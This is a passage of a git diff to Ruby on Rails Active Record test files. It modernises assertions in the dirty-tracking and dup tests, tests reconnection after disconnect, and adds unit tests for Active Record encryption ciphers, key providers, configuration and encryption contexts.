+      "catchphrase" => ["arrrr", new_catchphrase]
+    }
+
+    assert_equal new_catchphrase.upcase, pirate.catchphrase
+    assert_equal expected_changes, pirate.changes
+  end
+
+  test "changes is correct if override attribute reader" do
+    pirate = Pirate.create!(catchphrase: "arrrr")
+    def pirate.catchphrase
+      super.upcase
+    end
+
+    new_catchphrase = "arrrr matey!"
+
+    pirate.catchphrase = new_catchphrase
+    assert_predicate pirate, :catchphrase_changed?
+
+    expected_changes = {
+      "catchphrase" => ["arrrr", new_catchphrase]
+    }
+
+    assert_equal new_catchphrase.upcase, pirate.catchphrase
+    assert_equal expected_changes, pirate.changes
   end
 
   test "attribute_changed? doesn't compute in-place changes for unrelated attributes" do
@@ -683,7 +762,7 @@ def test_datetime_attribute_doesnt_change_if_zone_is_modified_in_string
     end
 
     model = klass.new(first_name: "Jim")
-    assert model.first_name_changed?
+    assert_predicate model, :first_name_changed?
   end
 
   test "attribute_will_change! doesn't try to save non-persistable attributes" do
@@ -695,10 +774,28 @@ def test_datetime_attribute_doesnt_change_if_zone_is_modified_in_string
     record = klass.new(first_name: "Sean")
     record.non_persisted_attribute_will_change!
 
-    assert record.non_persisted_attribute_changed?
+    assert_predicate record, :non_persisted_attribute_changed?
     assert record.save
   end
 
+  test "virtual attributes are not written with partial_writes off" do
+    with_partial_writes(ActiveRecord::Base, false) do
+      klass = Class.new(ActiveRecord::Base) do
+        self.table_name = "people"
+        attribute :non_persisted_attribute, :string
+      end
+
+      record = klass.new(first_name: "Sean")
+      record.non_persisted_attribute_will_change!
+
+      assert record.save
+
+      record.non_persisted_attribute_will_change!
+
+      assert record.save
+    end
+  end
+
   test "mutating and then assigning doesn't remove the change" do
     pirate = Pirate.create!(catchphrase: "arrrr")
     pirate.catchphrase << " matey!"
@@ -725,26 +822,33 @@ def catchphrase
 
   test "attributes assigned but not selected are dirty" do
     person = Person.select(:id).first
-    refute person.changed?
+    assert_not_predicate person, :changed?
 
     person.first_name = "Sean"
-    assert person.changed?
+    assert_predicate person, :changed?
 
     person.first_name = nil
-    assert person.changed?
+    assert_predicate person, :changed?
+  end
+
+  test "attributes not selected are still missing after save" do
+    person = Person.select(:id).first
+    assert_raises(ActiveModel::MissingAttributeError) { person.first_name }
+    assert person.save # calls forget_attribute_assignments
+    assert_raises(ActiveModel::MissingAttributeError) { person.first_name }
   end
 
   test "saved_change_to_attribute? returns whether a change occurred in the last save" do
     person = Person.create!(first_name: "Sean")
 
-    assert person.saved_change_to_first_name?
-    refute person.saved_change_to_gender?
+    assert_predicate person, :saved_change_to_first_name?
+    assert_not_predicate person, :saved_change_to_gender?
     assert person.saved_change_to_first_name?(from: nil, to: "Sean")
     assert person.saved_change_to_first_name?(from: nil)
     assert person.saved_change_to_first_name?(to: "Sean")
-    refute person.saved_change_to_first_name?(from: "Jim", to: "Sean")
-    refute person.saved_change_to_first_name?(from: "Jim")
-    refute person.saved_change_to_first_name?(to: "Jim")
+    assert_not person.saved_change_to_first_name?(from: "Jim", to: "Sean")
+    assert_not person.saved_change_to_first_name?(from: "Jim")
+    assert_not person.saved_change_to_first_name?(to: "Jim")
   end
 
   test "saved_change_to_attribute returns the change that occurred in the last save" do
@@ -779,11 +883,11 @@ def catchphrase
   test "saved_changes? returns whether the last call to save changed anything" do
     person = Person.create!(first_name: "Sean")
 
-    assert person.saved_changes?
+    assert_predicate person, :saved_changes?
 
     person.save
 
-    refute person.saved_changes?
+    assert_not_predicate person, :saved_changes?
   end
 
   test "saved_changes returns a hash of all the changes that occurred" do
@@ -801,34 +905,109 @@ def catchphrase
     assert_equal %w(first_name lock_version updated_at).sort, person.saved_changes.keys.sort
   end
 
-  test "changed? in after callbacks returns true but is deprecated" do
+  test "changed? in after callbacks returns false" do
     klass = Class.new(ActiveRecord::Base) do
       self.table_name = "people"
 
       after_save do
-        ActiveSupport::Deprecation.silence do
-          raise "changed? should be true" unless changed?
-        end
+        raise "changed? should be false" if changed?
         raise "has_changes_to_save? should be false" if has_changes_to_save?
+        raise "saved_changes? should be true" unless saved_changes?
+        raise "id_in_database should not be nil" if id_in_database.nil?
       end
     end
 
     person = klass.create!(first_name: "Sean")
-    refute person.changed?
+    assert_not_predicate person, :changed?
+  end
+
+  test "changed? in around callbacks after yield returns false" do
+    klass = Class.new(ActiveRecord::Base) do
+      self.table_name = "people"
+
+      around_create :check_around
+
+      def check_around
+        yield
+        raise "changed? should be false" if changed?
+        raise "has_changes_to_save? should be false" if has_changes_to_save?
+        raise "saved_changes? should be true" unless saved_changes?
+        raise "id_in_database should not be nil" if id_in_database.nil?
+      end
+    end
+
+    person = klass.create!(first_name: "Sean")
+    assert_not_predicate person, :changed?
+  end
+
+  test "partial insert off with unchanged default function attribute" do
+    with_partial_writes Aircraft, false do
+      aircraft = Aircraft.new(name: "Boeing")
+      assert_equal "Boeing", aircraft.name
+
+      aircraft.save!
+      aircraft.reload
+
+      assert_equal "Boeing", aircraft.name
+      assert_in_delta Time.now, aircraft.manufactured_at, 1.1
+    end
+  end
+
+  test "partial insert off with changed default function attribute" do
+    with_partial_writes Aircraft, false do
+      manufactured_at = 1.years.ago
+      aircraft = Aircraft.new(name: "Boeing2", manufactured_at: manufactured_at)
+
+      assert_equal "Boeing2", aircraft.name
+      assert_equal manufactured_at.to_i, aircraft.manufactured_at.to_i
+
+      aircraft.save!
+      aircraft.reload
+
+      assert_equal "Boeing2", aircraft.name
+      assert_equal manufactured_at.utc.strftime("%Y-%m-%d %H:%M:%S"), aircraft.manufactured_at.strftime("%Y-%m-%d %H:%M:%S")
+    end
+  end
+
+  if current_adapter?(:PostgreSQLAdapter) && supports_identity_columns?
+    test "partial insert off with changed composite identity primary key attribute" do
+      klass = Class.new(ActiveRecord::Base) do
+        self.table_name = "cpk_postgresql_identity_table"
+      end
+
+      with_partial_writes(klass, false) do
+        record = klass.create!(another_id: 10)
+        assert_equal 10, record.another_id
+        assert_not_nil record.id
+      end
+    end
+  end
+
+  test "attribute_changed? properly type casts enum values" do
+    parrot = LiveParrot.create!(name: "Scipio", breed: :african)
+
+    parrot.breed = :australian
+
+    assert parrot.breed_changed?(from: "african", to: "australian")
+    assert parrot.breed_changed?(from: :african, to: :australian)
+    assert parrot.breed_changed?(from: 0, to: 1)
   end
 
   private
     def with_partial_writes(klass, on = true)
-      old = klass.partial_writes?
-      klass.partial_writes = on
+      old_inserts = klass.partial_inserts?
+      old_updates = klass.partial_updates?
+      klass.partial_inserts = on
+      klass.partial_updates = on
       yield
     ensure
-      klass.partial_writes = old
+      klass.partial_inserts = old_inserts
+      klass.partial_updates = old_updates
     end
 
     def check_pirate_after_save_failure(pirate)
-      assert pirate.changed?
-      assert pirate.parrot_id_changed?
+      assert_predicate pirate, :changed?
+      assert_predicate pirate, :parrot_id_changed?
       assert_equal %w(parrot_id), pirate.changed
       assert_nil pirate.parrot_id_was
     end
diff --git a/activerecord/test/cases/disconnected_test.rb b/activerecord/test/cases/disconnected_test.rb
index c25089a4203fa..0757b562631f2 100644
--- a/activerecord/test/cases/disconnected_test.rb
+++ b/activerecord/test/cases/disconnected_test.rb
@@ -1,30 +1,31 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 
 class TestRecord < ActiveRecord::Base
 end
 
 class TestDisconnectedAdapter < ActiveRecord::TestCase
-  self.use_transactional_tests = false
-
   def setup
-    @connection = ActiveRecord::Base.connection
+    @connection = ActiveRecord::Base.lease_connection
   end
 
   teardown do
     return if in_memory_db?
-    spec = ActiveRecord::Base.connection_config
-    ActiveRecord::Base.establish_connection(spec)
   end
 
   unless in_memory_db?
-    test "can't execute statements while disconnected" do
+    test "reconnects to execute statements when disconnected" do
       @connection.execute "SELECT count(*) from products"
+      first_connection = @connection.instance_variable_get(:@raw_connection).__id__
+
       @connection.disconnect!
-      assert_raises(ActiveRecord::StatementInvalid) do
-        silence_warnings do
-          @connection.execute "SELECT count(*) from products"
-        end
-      end
+      assert_nil @connection.instance_variable_get(:@raw_connection)
+
+      @connection.execute "SELECT count(*) from products"
+      second_connection = @connection.instance_variable_get(:@raw_connection).__id__
+
+      assert_not_equal second_connection, first_connection
     end
   end
 end
diff --git a/activerecord/test/cases/dup_test.rb b/activerecord/test/cases/dup_test.rb
index 3821e0c9493ca..21aaf1a978869 100644
--- a/activerecord/test/cases/dup_test.rb
+++ b/activerecord/test/cases/dup_test.rb
@@ -1,20 +1,24 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "models/reply"
 require "models/topic"
+require "models/movie"
+require "models/car"
 
 module ActiveRecord
   class DupTest < ActiveRecord::TestCase
-    fixtures :topics
+    fixtures :topics, :cars
 
     def test_dup
-      assert !Topic.new.freeze.dup.frozen?
+      assert_not_predicate Topic.new.freeze.dup, :frozen?
     end
 
     def test_not_readonly
       topic = Topic.first
 
       duped = topic.dup
-      assert !duped.readonly?, "should not be readonly"
+      assert_not duped.readonly?, "should not be readonly"
     end
 
     def test_is_readonly
@@ -22,15 +26,22 @@ def test_is_readonly
       topic.readonly!
 
       duped = topic.dup
-      assert duped.readonly?, "should be readonly"
+      assert_predicate duped, :readonly?, "should be readonly"
     end
 
     def test_dup_not_persisted
       topic = Topic.first
       duped = topic.dup
 
-      assert !duped.persisted?, "topic not persisted"
-      assert duped.new_record?, "topic is new"
+      assert_not duped.persisted?, "topic not persisted"
+      assert_predicate duped, :new_record?, "topic is new"
+    end
+
+    def test_dup_not_previously_new_record
+      topic = Topic.first
+      duped = topic.dup
+
+      assert_not duped.previously_new_record?, "should not be a previously new record"
     end
 
     def test_dup_not_destroyed
@@ -38,7 +49,7 @@ def test_dup_not_destroyed
       topic.destroy
 
       duped = topic.dup
-      assert_not duped.destroyed?
+      assert_not_predicate duped, :destroyed?
     end
 
     def test_dup_has_no_id
@@ -60,10 +71,10 @@ def test_dup_with_changes
 
       topic.attributes = dbtopic.attributes.except("id")
 
-      #duped has no timestamp values
+      # duped has no timestamp values
       duped = dbtopic.dup
 
-      #clear topic timestamp values
+      # clear topic timestamp values
       topic.send(:clear_timestamp_attributes)
 
       assert_equal topic.changes, duped.changes
@@ -98,7 +109,7 @@ def test_dup_timestamps_are_cleared
       # temporary change to the topic object
       topic.updated_at -= 3.days
 
-      #dup should not preserve the timestamps if present
+      # dup should not preserve the timestamps if present
       new_topic = topic.dup
       assert_nil new_topic.updated_at
       assert_nil new_topic.created_at
@@ -108,6 +119,27 @@ def test_dup_timestamps_are_cleared
       assert_not_nil new_topic.created_at
     end
 
+    def test_dup_locking_column_is_cleared
+      car = Car.first
+      car.touch
+      assert_not_equal 0, car.lock_version
+
+      car.lock_version = 1000
+
+      new_car = car.dup
+      assert_equal 0, new_car.lock_version
+    end
+
+    def test_dup_locking_column_is_not_dirty
+      car = Car.first
+      car.touch
+      assert_not_equal 0, car.lock_version
+
+      car.lock_version += 1
+      new_car = car.dup
+      assert_not_predicate new_car, :lock_version_changed?
+    end
+
     def test_dup_after_initialize_callbacks
       topic = Topic.new
       assert Topic.after_initialize_called
@@ -124,20 +156,20 @@ def test_dup_validity_is_independent
 
         duped = topic.dup
         duped.title = nil
-        assert duped.invalid?
+        assert_predicate duped, :invalid?
 
         topic.title = nil
         duped.title = "Mathematics"
-        assert topic.invalid?
-        assert duped.valid?
+        assert_predicate topic, :invalid?
+        assert_predicate duped, :valid?
       end
     end
 
     def test_dup_with_default_scope
       prev_default_scopes = Topic.default_scopes
-      Topic.default_scopes = [proc { Topic.where(approved: true) }]
+      Topic.default_scopes = [ActiveRecord::Scoping::DefaultScope.new(proc { Topic.where(approved: true) })]
       topic = Topic.new(approved: false)
-      assert !topic.dup.approved?, "should not be overridden by default scopes"
+      assert_not topic.dup.approved?, "should not be overridden by default scopes"
     ensure
       Topic.default_scopes = prev_default_scopes
     end
@@ -153,5 +185,20 @@ def test_dup_without_primary_key
         record.dup
       end
     end
+
+    def test_dup_record_not_persisted_after_rollback_transaction
+      movie = Movie.new(name: "test")
+
+      assert_raises(ActiveRecord::RecordInvalid) do
+        Movie.transaction do
+          movie.save!
+          duped = movie.dup
+          duped.name = nil
+          duped.save!
+        end
+      end
+
+      assert_not movie.persisted?
+    end
   end
 end
diff --git a/activerecord/test/cases/encryption/cipher/aes256_gcm_test.rb b/activerecord/test/cases/encryption/cipher/aes256_gcm_test.rb
new file mode 100644
index 0000000000000..c4c687f975aa1
--- /dev/null
+++ b/activerecord/test/cases/encryption/cipher/aes256_gcm_test.rb
@@ -0,0 +1,50 @@
+# frozen_string_literal: true
+
+require "cases/encryption/helper"
+
+class ActiveRecord::Encryption::Aes256GcmTest < ActiveRecord::EncryptionTestCase
+  setup do
+    @key = ActiveRecord::Encryption.key_generator.generate_random_key length: ActiveRecord::Encryption::Cipher::Aes256Gcm.key_length
+    @cipher = ActiveRecord::Encryption::Cipher::Aes256Gcm.new(@key)
+  end
+
+  test "encrypts strings" do
+    assert_cipher_encrypts(@cipher, "Some clear text")
+  end
+
+  test "works with empty strings" do
+    assert_cipher_encrypts(@cipher, "")
+  end
+
+  test "uses non-deterministic encryption by default" do
+    assert_not_equal @cipher.encrypt("Some text").payload, @cipher.encrypt("Some text").payload
+  end
+
+  test "in deterministic mode, it generates the same ciphertext for the same inputs" do
+    cipher = ActiveRecord::Encryption::Cipher::Aes256Gcm.new(@key, deterministic: true)
+
+    assert_cipher_encrypts(cipher, "Some clear text")
+
+    assert_equal cipher.encrypt("Some text").payload, cipher.encrypt("Some text").payload
+    assert_not_equal cipher.encrypt("Some text").payload, cipher.encrypt("Some other text").payload
+  end
+
+  test "it generates different ivs for different ciphertexts" do
+    cipher = ActiveRecord::Encryption::Cipher::Aes256Gcm.new(@key, deterministic: true)
+
+    assert_equal cipher.encrypt("Some text").headers.iv, cipher.encrypt("Some text").headers.iv
+    assert_not_equal cipher.encrypt("Some text").headers.iv, cipher.encrypt("Some other text").headers.iv
+  end
+
+  test "inspect_does not show secrets" do
+    cipher = ActiveRecord::Encryption::Cipher::Aes256Gcm.new(@key)
+    assert_match(/\A#<ActiveRecord::Encryption::Cipher::Aes256Gcm:0x[0-9a-f]+>\z/, cipher.inspect)
+  end
+
+  private
+    def assert_cipher_encrypts(cipher, content_to_encrypt)
+      encrypted_content = cipher.encrypt(content_to_encrypt)
+      assert_not_equal content_to_encrypt, encrypted_content
+      assert_equal content_to_encrypt, cipher.decrypt(encrypted_content)
+    end
+end
diff --git a/activerecord/test/cases/encryption/cipher_test.rb b/activerecord/test/cases/encryption/cipher_test.rb
new file mode 100644
index 0000000000000..c4cdadbe8be7a
--- /dev/null
+++ b/activerecord/test/cases/encryption/cipher_test.rb
@@ -0,0 +1,65 @@
+# frozen_string_literal: true
+
+require "cases/encryption/helper"
+
+class ActiveRecord::Encryption::CipherTest < ActiveRecord::EncryptionTestCase
+  setup do
+    @cipher = ActiveRecord::Encryption::Cipher.new
+    @key = ActiveRecord::Encryption.key_generator.generate_random_key
+  end
+
+  test "encrypts returns a encrypted test that can be decrypted with the same key" do
+    encrypted_text = @cipher.encrypt("clean text", key: @key)
+    assert_equal "clean text", @cipher.decrypt(encrypted_text, key: @key)
+  end
+
+  test "by default, encrypts uses random initialization vectors for each encryption operation" do
+    assert_not_equal @cipher.encrypt("clean text", key: @key), @cipher.encrypt("clean text", key: @key)
+  end
+
+  test "deterministic encryption with :deterministic param" do
+    assert_equal @cipher.encrypt("clean text", key: @key, deterministic: true).payload, @cipher.encrypt("clean text", key: @key, deterministic: true).payload
+  end
+
+  test "raises an ArgumentError when provided a key with the wrong length" do
+    assert_raises ArgumentError do
+      @cipher.encrypt("clean text", key: "invalid key")
+    end
+  end
+
+  test "iv_length returns the iv length of the cipher" do
+    assert_equal OpenSSL::Cipher.new("aes-256-gcm").iv_len, @cipher.iv_length
+  end
+
+  test "generates different ciphertexts on different invocations with the same key (not deterministic)" do
+    key = SecureRandom.bytes(32)
+    assert_not_equal @cipher.encrypt("clean text", key: key), @cipher.encrypt("clean text", key: key)
+  end
+
+  test "decrypt can work with multiple keys" do
+    encrypted_text = @cipher.encrypt("clean text", key: @key)
+
+    assert_equal "clean text", @cipher.decrypt(encrypted_text, key: [ "some wrong key", @key ])
+    assert_equal "clean text", @cipher.decrypt(encrypted_text, key: [ "some wrong key", @key, "some other wrong key" ])
+    assert_equal "clean text", @cipher.decrypt(encrypted_text, key: [ @key, "some wrong key", "some other wrong key" ])
+  end
+
+  test "decrypt will raise an ActiveRecord::Encryption::Errors::Decryption error when none of the keys works" do
+    encrypted_text = @cipher.encrypt("clean text", key: @key)
+
+    assert_raises ActiveRecord::Encryption::Errors::Decryption do
+      @cipher.decrypt(encrypted_text, key: [ "some wrong key", "other wrong key" ])
+    end
+  end
+
+  test "keep encoding from the source string" do
+    encrypted_text = @cipher.encrypt("some string".dup.force_encoding(Encoding::ISO_8859_1), key: @key)
+    decrypted_text = @cipher.decrypt(encrypted_text, key: @key)
+    assert_equal Encoding::ISO_8859_1, decrypted_text.encoding
+  end
+
+  test "can encode unicode strings with emojis" do
+    encrypted_text = @cipher.encrypt("Getting around with the ⚡�Go Menu", key: @key)
+    assert_equal "Getting around with the ⚡�Go Menu", @cipher.decrypt(encrypted_text, key: @key)
+  end
+end
diff --git a/activerecord/test/cases/encryption/concurrency_test.rb b/activerecord/test/cases/encryption/concurrency_test.rb
new file mode 100644
index 0000000000000..f3c822687bee7
--- /dev/null
+++ b/activerecord/test/cases/encryption/concurrency_test.rb
@@ -0,0 +1,27 @@
+# frozen_string_literal: true
+
+require "cases/encryption/helper"
+require "models/post_encrypted"
+
+class ActiveRecord::Encryption::ConcurrencyTest < ActiveRecord::EncryptionTestCase
+  setup do
+    ActiveRecord::Encryption.config.support_unencrypted_data = true
+  end
+
+  test "models can be encrypted and decrypted in different threads concurrently" do
+    3.times.collect { |index| thread_encrypting_and_decrypting("thread #{index}") }.each(&:join)
+  end
+
+  def thread_encrypting_and_decrypting(thread_label)
+    EncryptedPost.insert_all 10.times.collect { |index| { title: "Article #{index} (#{thread_label})", body: "Body #{index} (#{thread_label})" } }
+    posts = EncryptedPost.last(10)
+
+    Thread.new do
+      posts.each.with_index do |article, index|
+        assert_encrypted_attribute article, :title, "Article #{index} (#{thread_label})"
+        article.decrypt
+        assert_not_encrypted_attribute article, :title, "Article #{index} (#{thread_label})"
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/encryption/config_test.rb b/activerecord/test/cases/encryption/config_test.rb
new file mode 100644
index 0000000000000..8738d9d484dd8
--- /dev/null
+++ b/activerecord/test/cases/encryption/config_test.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+require "cases/encryption/helper"
+
+class ActiveRecord::Encryption::ConfigTest < ActiveRecord::EncryptionTestCase
+  setup do
+    @config = ActiveRecord::Encryption::Config.new
+  end
+
+  test "required keys will raise a config error when accessed but not set" do
+    @config.primary_key = nil
+    assert_raises ActiveRecord::Encryption::Errors::Configuration do
+      @config.primary_key
+    end
+
+    @config.primary_key = "some key"
+    assert_nothing_raised do
+      @config.primary_key
+    end
+  end
+end
diff --git a/activerecord/test/cases/encryption/configurable_test.rb b/activerecord/test/cases/encryption/configurable_test.rb
new file mode 100644
index 0000000000000..3029f4535fe60
--- /dev/null
+++ b/activerecord/test/cases/encryption/configurable_test.rb
@@ -0,0 +1,93 @@
+# frozen_string_literal: true
+
+require "cases/encryption/helper"
+require "models/pirate"
+require "models/book"
+
+class ActiveRecord::Encryption::ConfigurableTest < ActiveRecord::EncryptionTestCase
+  test "can access context properties with top level getters" do
+    assert_equal ActiveRecord::Encryption.key_provider, ActiveRecord::Encryption.context.key_provider
+  end
+
+  test ".configure configures initial config properties" do
+    previous_key_provider = ActiveRecord::Encryption::DerivedSecretKeyProvider.new("some secret")
+
+    ActiveRecord::Encryption.configure \
+      primary_key: "the primary key",
+      deterministic_key: "the deterministic key",
+      key_derivation_salt: "the salt",
+      previous: [{ key_provider: previous_key_provider }]
+
+    config = ActiveRecord::Encryption.config
+
+    assert_equal "the primary key", config.primary_key
+    assert_equal "the deterministic key", config.deterministic_key
+    assert_equal "the salt", config.key_derivation_salt
+    assert_equal previous_key_provider, config.previous_schemes.first.key_provider
+  end
+
+  test "can add listeners that will get invoked when declaring encrypted attributes" do
+    @klass, @attribute_name = nil
+    ActiveRecord::Encryption.on_encrypted_attribute_declared do |declared_klass, declared_attribute_name|
+      @klass = declared_klass
+      @attribute_name = declared_attribute_name
+    end
+
+    klass = Class.new(Book) do
+      encrypts :isbn
+    end
+
+    assert_equal klass, @klass
+    assert_equal :isbn, @attribute_name
+  end
+
+  test "installing autofiltered parameters will add the encrypted attribute as a filter parameter using the dot notation" do
+    application = Struct.new(:config).new(Struct.new(:filter_parameters).new([]))
+
+    with_auto_filtered_parameters(application) do
+      NamedPirate = Class.new(Pirate) do
+        self.table_name = "pirates"
+      end
+      NamedPirate.encrypts :catchphrase
+    end
+
+    assert_includes application.config.filter_parameters, "named_pirate.catchphrase"
+  end
+
+  test "installing autofiltered parameters will work with unnamed classes" do
+    application = Struct.new(:config).new(Struct.new(:filter_parameters).new([]))
+
+    with_auto_filtered_parameters(application) do
+      Class.new(Pirate) do
+        self.table_name = "pirates"
+        encrypts :catchphrase
+      end
+    end
+
+    assert_includes application.config.filter_parameters, "catchphrase"
+  end
+
+  test "exclude the installation of autofiltered params" do
+    ActiveRecord::Encryption.config.excluded_from_filter_parameters = [:catchphrase]
+
+    application = Struct.new(:config).new(Struct.new(:filter_parameters).new([]))
+
+    with_auto_filtered_parameters(application) do
+      Class.new(Pirate) do
+        self.table_name = "pirates"
+        encrypts :catchphrase
+      end
+    end
+
+    assert_equal [], application.config.filter_parameters
+
+    ActiveRecord::Encryption.config.excluded_from_filter_parameters = []
+  end
+
+  private
+    def with_auto_filtered_parameters(application)
+      auto_filtered_parameters = ActiveRecord::Encryption::AutoFilteredParameters.new(application)
+      yield
+      auto_filtered_parameters.enable
+    end
+end
diff --git a/activerecord/test/cases/encryption/contexts_test.rb b/activerecord/test/cases/encryption/contexts_test.rb
new file mode 100644
index 0000000000000..eea69f7b8ab3c
--- /dev/null
+++ b/activerecord/test/cases/encryption/contexts_test.rb
@@ -0,0 +1,105 @@
+# frozen_string_literal: true
+
+require "cases/encryption/helper"
+require "models/book_encrypted"
+require "models/post_encrypted"
+
+class ActiveRecord::Encryption::ContextsTest < ActiveRecord::EncryptionTestCase
+  fixtures :posts
+
+  setup do
+    ActiveRecord::Encryption.config.support_unencrypted_data = true
+
+    @post = EncryptedPost.create!(title: "Some encrypted post title", body: "Some body")
+    @title_cleartext = @post.title
+    @title_ciphertext = @post.ciphertext_for(:title)
+  end
+
+  test ".with_encryption_context lets you override properties" do
+    ActiveRecord::Encryption.with_encryption_context(encryptor: ActiveRecord::Encryption::NullEncryptor.new) do
+      assert_equal @title_ciphertext, @post.reload.title
+
+      @post.update!(title: "Some new title")
+    end
+
+    assert_equal "Some new title", @post.title_before_type_cast
+  end
+
+  test ".with_encryption_context will restore previous context properties when there is an error" do
+    ActiveRecord::Encryption.with_encryption_context(encryptor: ActiveRecord::Encryption::NullEncryptor.new) do
+      raise "Some error"
+    end
+  rescue
+    assert_encrypted_attribute @post.reload, :title, @title_cleartext
+  end
+
+  test ".with_encryption_context can be nested multiple times" do
+    ActiveRecord::Encryption.with_encryption_context(encryptor: encryptor_1 = ActiveRecord::Encryption::NullEncryptor.new) do
+      assert_equal encryptor_1, ActiveRecord::Encryption.encryptor
+
+      ActiveRecord::Encryption.with_encryption_context(encryptor: encryptor_2 = ActiveRecord::Encryption::NullEncryptor.new) do
+        assert_equal encryptor_2, ActiveRecord::Encryption.encryptor
+
+        ActiveRecord::Encryption.with_encryption_context(encryptor: encryptor_3 = ActiveRecord::Encryption::NullEncryptor.new) do
+          assert_equal encryptor_3, ActiveRecord::Encryption.encryptor
+        end
+
+        assert_equal encryptor_2, ActiveRecord::Encryption.encryptor
+      end
+
+      assert_equal encryptor_1, ActiveRecord::Encryption.encryptor
+    end
+  end
+
+  test ".without_encryption won't decrypt or encrypt data automatically" do
+    ActiveRecord::Encryption.without_encryption do
+      assert_equal @title_ciphertext, @post.reload.title
+
+      @post.update!(title: "Some new title")
+    end
+
+    assert_not_encrypted_attribute @post, :title, "Some new title"
+  end
+
+  test ".without_encryption doesn't raise on binary encoded data" do
+    assert_nothing_raised do
+      ActiveRecord::Encryption.without_encryption do
+        EncryptedBook.create!(name: "Dune".encode(Encoding::BINARY))
+      end
+    end
+  end
+
+  test ".protecting_encrypted_data don't decrypt attributes automatically" do
+    ActiveRecord::Encryption.protecting_encrypted_data do
+      assert_equal @title_ciphertext, @post.reload.title
+    end
+  end
+
+  test ".protecting_encrypted_data allows db-queries on deterministic attributes" do
+    book = EncryptedBook.create! name: "Dune"
+
+    ActiveRecord::Encryption.protecting_encrypted_data do
+      assert_equal book, EncryptedBook.find_by(name: "Dune")
+    end
+  end
+
+  test "can't encrypt or decrypt in protected mode" do
+    ActiveRecord::Encryption.protecting_encrypted_data do
+      assert_raises ActiveRecord::Encryption::Errors::Configuration do
+        @post.encrypt
+      end
+
+      assert_raises ActiveRecord::Encryption::Errors::Configuration do
+        @post.decrypt
+      end
+    end
+  end
+
+  test ".protecting_encrypted_data will raise a validation error when modifying encrypting attributes" do
+    ActiveRecord::Encryption.protecting_encrypted_data do
+      assert_raises ActiveRecord::RecordInvalid do
+        @post.update!(title: "Some new title")
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/encryption/derived_secret_key_provider_test.rb b/activerecord/test/cases/encryption/derived_secret_key_provider_test.rb
new file mode 100644
index 0000000000000..ac758458bcde6
--- /dev/null
+++ b/activerecord/test/cases/encryption/derived_secret_key_provider_test.rb
@@ -0,0 +1,31 @@
+# frozen_string_literal: true
+
+require "cases/encryption/helper"
+
+class ActiveRecord::Encryption::DerivedSecretKeyProviderTest < ActiveRecord::EncryptionTestCase
+  setup do
+    @message ||= ActiveRecord::Encryption::Message.new(payload: "some secret")
+    @keys = build_keys(3)
+    @key_provider = ActiveRecord::Encryption::KeyProvider.new(@keys)
+  end
+
+  test "will derive a key with the right length from the given password" do
+    key_provider = ActiveRecord::Encryption::DerivedSecretKeyProvider.new("some password")
+    key = key_provider.encryption_key
+
+    assert_equal [ key ], key_provider.decryption_keys(ActiveRecord::Encryption::Message.new(payload: "some secret"))
+    assert_equal ActiveRecord::Encryption.cipher.key_length, key.secret.bytesize
+  end
+
+  test "work with multiple keys when config.store_key_references is false" do
+    ActiveRecord::Encryption.config.store_key_references = false
+
+    assert_encryptor_works_with @key_provider
+  end
+
+  test "work with multiple keys when config.store_key_references is true" do
+    ActiveRecord::Encryption.config.store_key_references = true
+
+    assert_encryptor_works_with @key_provider
+  end
+end
diff --git a/activerecord/test/cases/encryption/deterministic_key_provider_test.rb b/activerecord/test/cases/encryption/deterministic_key_provider_test.rb
new file mode 100644
index 0000000000000..c6561a0f188f3
--- /dev/null
+++ b/activerecord/test/cases/encryption/deterministic_key_provider_test.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+require "cases/encryption/helper"
+
+class ActiveRecord::Encryption::DeterministicKeyProviderTest < ActiveRecord::EncryptionTestCase
+  test "will raise a configuration error when trying to configure multiple keys" do
+    assert_raise ActiveRecord::Encryption::Errors::Configuration do
+      ActiveRecord::Encryption::DeterministicKeyProvider.new([ "secret 1", "secret 2" ])
+    end
+  end
+end
diff --git a/activerecord/test/cases/encryption/encryptable_record_api_test.rb b/activerecord/test/cases/encryption/encryptable_record_api_test.rb
new file mode 100644
index 0000000000000..1f1caffb042d5
--- /dev/null
+++ b/activerecord/test/cases/encryption/encryptable_record_api_test.rb
@@ -0,0 +1,175 @@
+# frozen_string_literal: true
+
+require "cases/encryption/helper"
+require "models/author_encrypted"
+require "models/book_encrypted"
+require "models/post_encrypted"
+
+class ActiveRecord::Encryption::EncryptableRecordApiTest < ActiveRecord::EncryptionTestCase
+  fixtures :posts
+
+  setup do
+    ActiveRecord::Encryption.config.support_unencrypted_data = true
+  end
+
+  test "encrypt encrypts all the encryptable attributes" do
+    title = "The Starfleet is here!"
+    body = "<p>the Starfleet is here, we are safe now!</p>"
+
+    post = ActiveRecord::Encryption.without_encryption do
+      EncryptedPost.create! title: title, body: body
+    end
+
+    post.encrypt
+
+    assert_encrypted_attribute(post, :title, title)
+    assert_encrypted_attribute(post, :body, body)
+  end
+
+  test "encrypt won't fail for classes without attributes to encrypt" do
+    assert_nothing_raised do
+      posts(:welcome).encrypt
+    end
+  end
+
+  test "decrypt decrypts encrypted attributes" do
+    title = "the Starfleet is here!"
+    body = "<p>the Starfleet is here, we are safe now!</p>"
+    post = EncryptedPost.create! title: title, body: body
+    assert_encrypted_attribute(post, :title, title)
+    assert_encrypted_attribute(post, :body, body)
+
+    post.decrypt
+
+    assert_not_encrypted_attribute post.reload, :title, title
+    assert_not_encrypted_attribute post, :body, body
+  end
+
+  test "decrypt can be invoked multiple times" do
+    post = EncryptedPost.create! title: "the Starfleet is here", body: "<p>the Starfleet is here, we are safe now!</p>"
+
+    3.times { post.decrypt }
+
+    assert_not_encrypted_attribute post.reload, :title, "the Starfleet is here"
+    assert_not_encrypted_attribute post, :body, "<p>the Starfleet is here, we are safe now!</p>"
+  end
+
+  test "encrypt can be invoked multiple times" do
+    post = EncryptedPost.create! title: "the Starfleet is here", body: "<p>the Starfleet is here, we are safe now!</p>"
+
+    3.times { post.encrypt }
+
+    assert_encrypted_attribute post.reload, :title, "the Starfleet is here"
+    assert_encrypted_attribute post, :body, "<p>the Starfleet is here, we are safe now!</p>"
+  end
+
+  test "encrypted_attribute? returns false for regular attributes" do
+    book = EncryptedBook.new(created_at: 1.day.ago)
+    assert_not book.encrypted_attribute?(:created_at)
+  end
+
